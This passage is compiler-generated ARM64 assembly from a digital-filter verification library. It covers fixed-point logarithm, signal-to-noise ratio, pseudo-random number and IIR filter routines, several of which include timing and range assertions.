ldr w0, [sp, 12]
asr w0, w0, 6
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L506
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w0, [sp, 24]
sub w0, w0, #1016
str w0, [sp, 24]
.L506:
ldr w0, [sp, 12]
asr w0, w0, 7
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L507
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w0, [sp, 24]
sub w0, w0, #510
str w0, [sp, 24]
.L507:
ldr w0, [sp, 12]
mov w1, -2147483648
sub w0, w1, w0
str w0, [sp, 12]
ldr w0, [sp, 12]
asr w0, w0, 15
ldr w1, [sp, 24]
sub w0, w1, w0
str w0, [sp, 24]
ldr w0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE79:
.size fxp_ln, .-fxp_ln
.align 2
.global fxp_log10_low
.type fxp_log10_low, %function
fxp_log10_low:
.LFB80:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str d0, [sp, 24]
ldr d0, [sp, 24]
mov x0, 4679240012837945344
fmov d1, x0
fmul d1, d0, d1
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
str w0, [sp, 36]
ldr w0, [sp, 36]
bl fxp_ln
str w0, [sp, 40]
mov w0, 655360
bl fxp_ln
str w0, [sp, 44]
ldr w0, [sp, 40]
scvtf d1, w0
ldr w0, [sp, 44]
scvtf d0, w0
fdiv d0, d1, d0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE80:
.size fxp_log10_low, .-fxp_log10_low
.align 2
.global fxp_log10
.type fxp_log10, %function
fxp_log10:
.LFB81:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str d0, [sp, 24]
ldr d0, [sp, 24]
mov x0, 281200098803712
movk x0, 0x40df, lsl 48
fmov d1, x0
fcmpe d0, d1
bgt .L517
b .L519
.L517:
ldr d0, [sp, 24]
adrp x0, .LC22
ldr d1, [x0, #:lo12:.LC22]
fcmpe d0, d1
bgt .L518
b .L520
.L518:
adrp x0, .LC22
ldr d1, [x0, #:lo12:.LC22]
ldr d0, [sp, 24]
fdiv d0, d0, d1
str d0, [sp, 24]
ldr d0, [sp, 24]
bl fxp_log10_low
adrp x0, .LC23
ldr d1, [x0, #:lo12:.LC23]
fadd d0, d0, d1
b .L516
.L520:
mov x0, 281200098803712
movk x0, 0x40df, lsl 48
fmov d1, x0
ldr d0, [sp, 24]
fdiv d0, d0, d1
str d0, [sp, 24]
ldr d0, [sp, 24]
bl fxp_log10_low
adrp x0, .LC24
ldr d1, [x0, #:lo12:.LC24]
fadd d0, d0, d1
b .L516
.L519:
ldr d0, [sp, 24]
bl fxp_log10_low
.L516:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE81:
.size fxp_log10, .-fxp_log10
.section .rodata
.align 3
.LC25:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
.align 3
.LC26:
.string "sv >= nv"
.text
.align 2
.global snrVariance
.type snrVariance, %function
snrVariance:
.LFB82:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str xzr, [sp, 56]
str xzr, [sp, 64]
str xzr, [sp, 72]
str xzr, [sp, 80]
str wzr, [sp, 52]
b .L522
.L523:
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s0, [x0]
fcvt d0, s0
ldr d1, [sp, 56]
fadd d0, d1, d0
str d0, [sp, 56]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [x0]
fcvt d0, s0
ldr d1, [sp, 64]
fadd d0, d1, d0
str d0, [sp, 64]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L522:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L523
ldr w0, [sp, 28]
scvtf d0, w0
ldr d1, [sp, 56]
fdiv d0, d1, d0
str d0, [sp, 56]
ldr w0, [sp, 28]
scvtf d0, w0
ldr d1, [sp, 64]
fdiv d0, d1, d0
str d0, [sp, 64]
str wzr, [sp, 52]
b .L524
.L525:
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s0, [x0]
fcvt d1, s0
ldr d0, [sp, 56]
fsub d1, d1, d0
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s0, [x0]
fcvt d2, s0
ldr d0, [sp, 56]
fsub d0, d2, d0
fmul d0, d1, d0
ldr d1, [sp, 72]
fadd d0, d1, d0
str d0, [sp, 72]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [x0]
fcvt d1, s0
ldr d0, [sp, 64]
fsub d1, d1, d0
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [x0]
fcvt d2, s0
ldr d0, [sp, 64]
fsub d0, d2, d0
fmul d0, d1, d0
ldr d1, [sp, 80]
fadd d0, d1, d0
str d0, [sp, 80]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L524:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L525
ldr d0, [sp, 80]
fcmp d0, #0.0
beq .L526
ldr d1, [sp, 72]
ldr d0, [sp, 80]
fcmpe d1, d0
bge .L527
adrp x0, __PRETTY_FUNCTION__.18
add x3, x0, :lo12:__PRETTY_FUNCTION__.18
mov w2, 373
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl __assert_fail
.L527:
ldr d0, [sp, 80]
ldr d1, [sp, 72]
fdiv d0, d1, d0
str d0, [sp, 88]
ldr d0, [sp, 88]
fcvt s0, d0
b .L528
.L526:
mov w0, 16282
movk w0, 0x461c, lsl 16
fmov s0, w0
.L528:
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE82:
.size snrVariance, .-snrVariance
.align 2
.global snrPower
.type snrPower, %function
snrPower:
.LFB83:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str xzr, [sp, 56]
str xzr, [sp, 64]
str wzr, [sp, 52]
b .L530
.L531:
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s0, [x0]
fmul s0, s1, s0
fcvt d0, s0
ldr d1, [sp, 56]
fadd d0, d1, d0
str d0, [sp, 56]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [x0]
fmul s0, s1, s0
fcvt d0, s0
ldr d1, [sp, 64]
fadd d0, d1, d0
str d0, [sp, 64]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L530:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L531
ldr d0, [sp, 64]
fcmp d0, #0.0
beq .L532
ldr d1, [sp, 56]
ldr d0, [sp, 64]
fcmpe d1, d0
bge .L533
adrp x0, __PRETTY_FUNCTION__.17
add x3, x0, :lo12:__PRETTY_FUNCTION__.17
mov w2, 394
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl __assert_fail
.L533:
ldr d0, [sp, 64]
ldr d1, [sp, 56]
fdiv d0, d1, d0
str d0, [sp, 72]
ldr d0, [sp, 72]
fcvt s0, d0
b .L534
.L532:
mov w0, 16282
movk w0, 0x461c, lsl 16
fmov s0, w0
.L534:
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE83:
.size snrPower, .-snrPower
.section .rodata
.align 3
.LC27:
.string "power >= 1.0f"
.text
.align 2
.global snrPoint
.type snrPoint, %function
snrPoint:
.LFB84:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str xzr, [sp, 64]
str xzr, [sp, 72]
str wzr, [sp, 60]
b .L536
.L542:
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [x0]
fcmp s0, #0.0
beq .L544
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr s0, [x0]
fdiv s0, s1, s0
fcvt d0, s0
str d0, [sp, 64]
ldr d0, [sp, 64]
mov x0, 211106232532992
movk x0, 0x4062, lsl 48
fmov d1, x0
fcmpe d0, d1
bgt .L545
ldr d0, [sp, 64]
mov x0, 211106232532992
movk x0, 0xc062, lsl 48
fmov d1, x0
fcmpe d0, d1
bmi .L545
ldr d0, [sp, 64]
fmul d0, d0, d0
str d0, [sp, 72]
ldr d1, [sp, 72]
fmov d0, 1.0e+0
fcmpe d1, d0
bge .L538
adrp x0, __PRETTY_FUNCTION__.16
add x3, x0, :lo12:__PRETTY_FUNCTION__.16
mov w2, 412
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC27
add x0, x0, :lo12:.LC27
bl __assert_fail
.L544:
nop
b .L538
.L545:
nop
.L538:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L536:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
blt .L542
mov w0, 16282
movk w0, 0x461c, lsl 16
fmov s0, w0
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE84:
.size snrPoint, .-snrPoint
.global next
.data
.align 3
.type next, %object
.size next, 8
next:
.xword 1
.text
.align 2
.global rand
.type rand, %function
rand:
.LFB85:
.cfi_startproc
adrp x0, next
add x0, x0, :lo12:next
ldr x1, [x0]
mov x0, 20077
movk x0, 0x41c6, lsl 16
mul x1, x1, x0
mov x0, 12345
add x1, x1, x0
adrp x0, next
add x0, x0, :lo12:next
str x1, [x0]
adrp x0, next
add x0, x0, :lo12:next
ldr x0, [x0]
lsr x0, x0, 16
and w0, w0, 32767
ret
.cfi_endproc
.LFE85:
.size rand, .-rand
.align 2
.global srand
.type srand, %function
srand:
.LFB86:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
ldr w1, [sp, 12]
adrp x0, next
add x0, x0, :lo12:next
str x1, [x0]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE86:
.size srand, .-srand
.section .rodata
.align 3
.LC28:
.string "(double)timer1*CYCLE <= (double)DEADLINE"
.text
.align 2
.global iirIIOutTime
.type iirIIOutTime, %function
iirIIOutTime:
.LFB87:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str s0, [sp, 52]
str x1, [sp, 40]
str x2, [sp, 32]
str w3, [sp, 48]
str w4, [sp, 28]
str wzr, [sp, 72]
str wzr, [sp, 76]
ldr x0, [sp, 40]
add x0, x0, 4
str x0, [sp, 88]
ldr x0, [sp, 32]
str x0, [sp, 96]
ldr x0, [sp, 56]
add x0, x0, 4
str x0, [sp, 104]
ldr w0, [sp, 72]
add w0, w0, 71
str w0, [sp, 72]
mov w0, 1
str w0, [sp, 84]
b .L550
.L551:
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s1, [x0]
ldr x0, [sp, 104]
add x1, x0, 4
str x1, [sp, 104]
ldr s0, [x0]
fmul s0, s1, s0
ldr x0, [sp, 56]
ldr s1, [x0]
fsub s0, s1, s0
ldr x0, [sp, 56]
str s0, [x0]
ldr w0, [sp, 72]
add w0, w0, 54
str w0, [sp, 72]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L550:
ldr w1, [sp, 84]
ldr w0, [sp, 48]
cmp w1, w0
blt .L551
ldr x0, [sp, 56]
ldr s1, [x0]
ldr s0, [sp, 52]
fadd s0, s1, s0
ldr x0, [sp, 56]
str s0, [x0]
ldr x0, [sp, 56]
str x0, [sp, 104]
str wzr, [sp, 80]
b .L552
.L553:
ldr x0, [sp, 96]
add x1, x0, 4
str x1, [sp, 96]
ldr s1, [x0]
ldr x0, [sp, 104]
add x1, x0, 4
str x1, [sp, 104]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 76]
fadd s0, s1, s0
str s0, [sp, 76]
ldr w0, [sp, 72]
add w0, w0, 46
str w0, [sp, 72]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L552:
ldr w1, [sp, 80]
ldr w0, [sp, 28]
cmp w1, w0
blt .L553
ldr w0, [sp, 72]
add w0, w0, 38
str w0, [sp, 72]
ldr w0, [sp, 72]
scvtf d0, w0
mov x0, 145685290680320
movk x0, 0x416e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC29
ldr d1, [x0, #:lo12:.LC29]
fcmpe d0, d1
bls .L554
adrp x0, __PRETTY_FUNCTION__.15
add x3, x0, :lo12:__PRETTY_FUNCTION__.15
mov w2, 450
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl __assert_fail
.L554:
ldr s0, [sp, 76]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE87:
.size iirIIOutTime, .-iirIIOutTime
.align 2
.global iirIItOutTime
.type iirIItOutTime, %function
iirIItOutTime:
.LFB88:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 56]
str s0, [sp, 52]
str x1, [sp, 40]
str x2, [sp, 32]
str w3, [sp, 48]
str w4, [sp, 28]
str wzr, [sp, 64]
str wzr, [sp, 72]
ldr x0, [sp, 40]
add x0, x0, 4
str x0, [sp, 80]
ldr x0, [sp, 32]
str x0, [sp, 88]
ldr w0, [sp, 48]
ldr w2, [sp, 28]
ldr w1, [sp, 28]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 76]
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s1, [x0]
ldr s0, [sp, 52]
fmul s1, s1, s0
ldr x0, [sp, 56]
ldr s0, [x0]
fadd s0, s1, s0
str s0, [sp, 72]
ldr w0, [sp, 64]
add w0, w0, 105
str w0, [sp, 64]
str wzr, [sp, 68]
b .L557
.L560:
ldrsw x0, [sp, 68]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 56]
add x1, x1, x0
ldrsw x0, [sp, 68]
lsl x0, x0, 2
ldr x2, [sp, 56]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 48]
sub w0, w0, #1
ldr w1, [sp, 68]
cmp w1, w0
bge .L558
ldr x0, [sp, 80]
add x1, x0, 4
str x1, [sp, 80]
ldr s1, [x0]
ldr s0, [sp, 72]
fmul s0, s1, s0
ldrsw x0, [sp, 68]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
fsub s0, s1, s0
str s0, [x0]
ldr w0, [sp, 64]
add w0, w0, 41
str w0, [sp, 64]
.L558:
ldr w0, [sp, 28]
sub w0, w0, #1
ldr w1, [sp, 68]
cmp w1, w0
bge .L559
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s1, [x0]
ldr s0, [sp, 52]
fmul s1, s1, s0
ldrsw x0, [sp, 68]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr s0, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
fadd s0, s1, s0
str s0, [x0]
ldr w0, [sp, 64]
add w0, w0, 38
str w0, [sp, 64]
.L559:
ldr w0, [sp, 64]
add w0, w0, 54
str w0, [sp, 64]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L557:
ldr w0, [sp, 76]
sub w0, w0, #1
ldr w1, [sp, 68]
cmp w1, w0
blt .L560
ldr w0, [sp, 64]
add w0, w0, 7
str w0, [sp, 64]
ldr w0, [sp, 64]
scvtf d0, w0
mov x0, 145685290680320
movk x0, 0x416e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC29
ldr d1, [x0, #:lo12:.LC29]
fcmpe d0, d1
bls .L561
adrp x0, __PRETTY_FUNCTION__.14
add x3, x0, :lo12:__PRETTY_FUNCTION__.14
mov w2, 477
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl __assert_fail
.L561:
ldr s0, [sp, 72]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE88:
.size iirIItOutTime, .-iirIItOutTime
.align 2
.global iirIItOutTime_double
.type iirIItOutTime_double, %function
iirIItOutTime_double:
.LFB89:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str d0, [sp, 48]
str x1, [sp, 40]
str x2, [sp, 32]
str w3, [sp, 28]
str w4, [sp, 24]
str wzr, [sp, 76]
str xzr, [sp, 104]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 88]
ldr x0, [sp, 32]
str x0, [sp, 96]
ldr w0, [sp, 28]
ldr w2, [sp, 24]
ldr w1, [sp, 24]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 84]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr d1, [x0]
ldr d0, [sp, 48]
fmul d1, d1, d0
ldr x0, [sp, 56]
ldr d0, [x0]
fadd d0, d1, d0
str d0, [sp, 104]
ldr w0, [sp, 76]
add w0, w0, 105
str w0, [sp, 76]
str wzr, [sp, 80]
b .L564
.L567:
ldrsw x0, [sp, 80]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 56]
add x1, x1, x0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x2, [sp, 56]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 28]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
bge .L565
ldr x0, [sp, 88]
add x1, x0, 8
str x1, [sp, 88]
ldr d1, [x0]
ldr d0, [sp, 104]
fmul d0, d1, d0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
fsub d0, d1, d0
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 41
str w0, [sp, 76]
.L565:
ldr w0, [sp, 24]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
bge .L566
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr d1, [x0]
ldr d0, [sp, 48]
fmul d1, d1, d0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 38
str w0, [sp, 76]
.L566:
ldr w0, [sp, 76]
add w0, w0, 54
str w0, [sp, 76]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L564:
ldr w0, [sp, 84]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
blt .L567
ldr w0, [sp, 76]
add w0, w0, 7
str w0, [sp, 76]
ldr w0, [sp, 76]
scvtf d0, w0
mov x0, 145685290680320
movk x0, 0x416e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC29
ldr d1, [x0, #:lo12:.LC29]
fcmpe d0, d1
bls .L568
adrp x0, __PRETTY_FUNCTION__.13
add x3, x0, :lo12:__PRETTY_FUNCTION__.13
mov w2, 504
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl __assert_fail
.L568:
ldr d0, [sp, 104]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE89:
.size iirIItOutTime_double, .-iirIItOutTime_double
.align 2
.global iirOutBoth
.type iirOutBoth, %function
iirOutBoth:
.LFB90:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str x6, [sp, 24]
str x7, [sp, 16]
str xzr, [sp, 168]
str wzr, [sp, 92]
ldr x0, [sp, 16]
add x0, x0, 8
str x0, [sp, 104]
ldrsw x0, [sp, 192]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 112]
ldr x0, [sp, 176]
str x0, [sp, 120]
ldrsw x0, [sp, 200]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 128]
ldr x0, [sp, 56]
add x0, x0, 4
str x0, [sp, 136]
ldrsw x0, [sp, 192]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 72]
add x0, x1, x0
str x0, [sp, 144]
ldr x0, [sp, 48]
str x0, [sp, 152]
ldrsw x0, [sp, 200]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 64]
add x0, x1, x0
str x0, [sp, 160]
str wzr, [sp, 96]
b .L571
.L572:
ldr x0, [sp, 120]
add x1, x0, 8
str x1, [sp, 120]
ldr x2, [x0]
ldr x0, [sp, 128]
sub x1, x0, #8
str x1, [sp, 128]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 168]
bl fxp_add
str x0, [sp, 168]
ldr x0, [sp, 152]
add x1, x0, 4
str x1, [sp, 152]
ldr s1, [x0]
ldr x0, [sp, 160]
sub x1, x0, #4
str x1, [sp, 160]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 92]
fadd s0, s1, s0
str s0, [sp, 92]
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L571:
ldr w1, [sp, 96]
ldr w0, [sp, 200]
cmp w1, w0
blt .L572
mov w0, 1
str w0, [sp, 100]
b .L573
.L574:
ldr x0, [sp, 104]
add x1, x0, 8
str x1, [sp, 104]
ldr x2, [x0]
ldr x0, [sp, 112]
sub x1, x0, #8
str x1, [sp, 112]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 168]
bl fxp_sub
str x0, [sp, 168]
ldr x0, [sp, 136]
add x1, x0, 4
str x1, [sp, 136]
ldr s1, [x0]
ldr x0, [sp, 144]
sub x1, x0, #4
str x1, [sp, 144]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 92]
fsub s0, s1, s0
str s0, [sp, 92]
ldr w0, [sp, 100]
add w0, w0, 1
str w0, [sp, 100]
.L573:
ldr w1, [sp, 100]
ldr w0, [sp, 192]
cmp w1, w0
blt .L574
ldr x0, [sp, 184]
ldr x1, [sp, 168]
str x1, [x0]
ldr x0, [sp, 40]
ldr s0, [sp, 92]
str s0, [x0]
nop
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE90:
.size iirOutBoth, .-iirOutBoth
.align 2
.global iirOutFixedL
.type iirOutFixedL, %function
iirOutFixedL:
.LFB91:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 20]
str w6, [sp, 16]
str xzr, [sp, 104]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 72]
ldr x0, [sp, 56]
add x0, x0, 8
str x0, [sp, 80]
ldrsw x0, [sp, 16]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 88]
ldr x0, [sp, 48]
str x0, [sp, 96]
str wzr, [sp, 64]
b .L576
.L577:
ldrsw x0, [sp, 64]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 48]
add x1, x1, x0
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x2, [sp, 48]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr x0, [sp, 88]
sub x1, x0, #8
str x1, [sp, 88]
ldr x2, [x0]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 104]
bl fxp_add
str x0, [sp, 104]
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L576:
ldr w0, [sp, 16]
sub w0, w0, #1
ldr w1, [sp, 64]
cmp w1, w0
blt .L577
ldrsw x0, [sp, 16]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 48]
add x0, x1, x0
ldr x1, [sp, 40]
str x1, [x0]
ldr x0, [sp, 88]
sub x1, x0, #8
str x1, [sp, 88]
ldr x2, [x0]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 104]
bl fxp_add
str x0, [sp, 104]
mov w0, 1
str w0, [sp, 68]
b .L578
.L579:
ldr x0, [sp, 72]
sub x1, x0, #8
str x1, [sp, 72]
ldr x2, [x0]
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 104]
bl fxp_sub
str x0, [sp, 104]
ldrsw x0, [sp, 68]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 56]
add x1, x1, x0
ldrsw x0, [sp, 68]
lsl x0, x0, 3
ldr x2, [sp, 56]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L578:
ldr w0, [sp, 20]
sub w0, w0, #1
ldr w1, [sp, 68]
cmp w1, w0
blt .L579
ldr w0, [sp, 20]
cmp w0, 1
ble .L580
ldr x0, [sp, 72]
sub x1, x0, #8
str x1, [sp, 72]
ldr x2, [x0]
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
ldr x0, [sp, 104]
bl fxp_sub
str x0, [sp, 104]
.L580:
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
ldr x1, [sp, 104]
str x1, [x0]
ldr x0, [sp, 104]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE91:
.size iirOutFixedL, .-iirOutFixedL
.align 2
.global iirOutFloatL
.type iirOutFloatL, %function
iirOutFloatL:
.LFB92:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str x1, [sp, 32]
str s0, [sp, 28]
str x2, [sp, 16]
str x3, [sp, 8]
str w4, [sp, 24]
str w5, [sp, 4]
str wzr, [sp, 52]
ldrsw x0, [sp, 24]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 16]
add x0, x1, x0
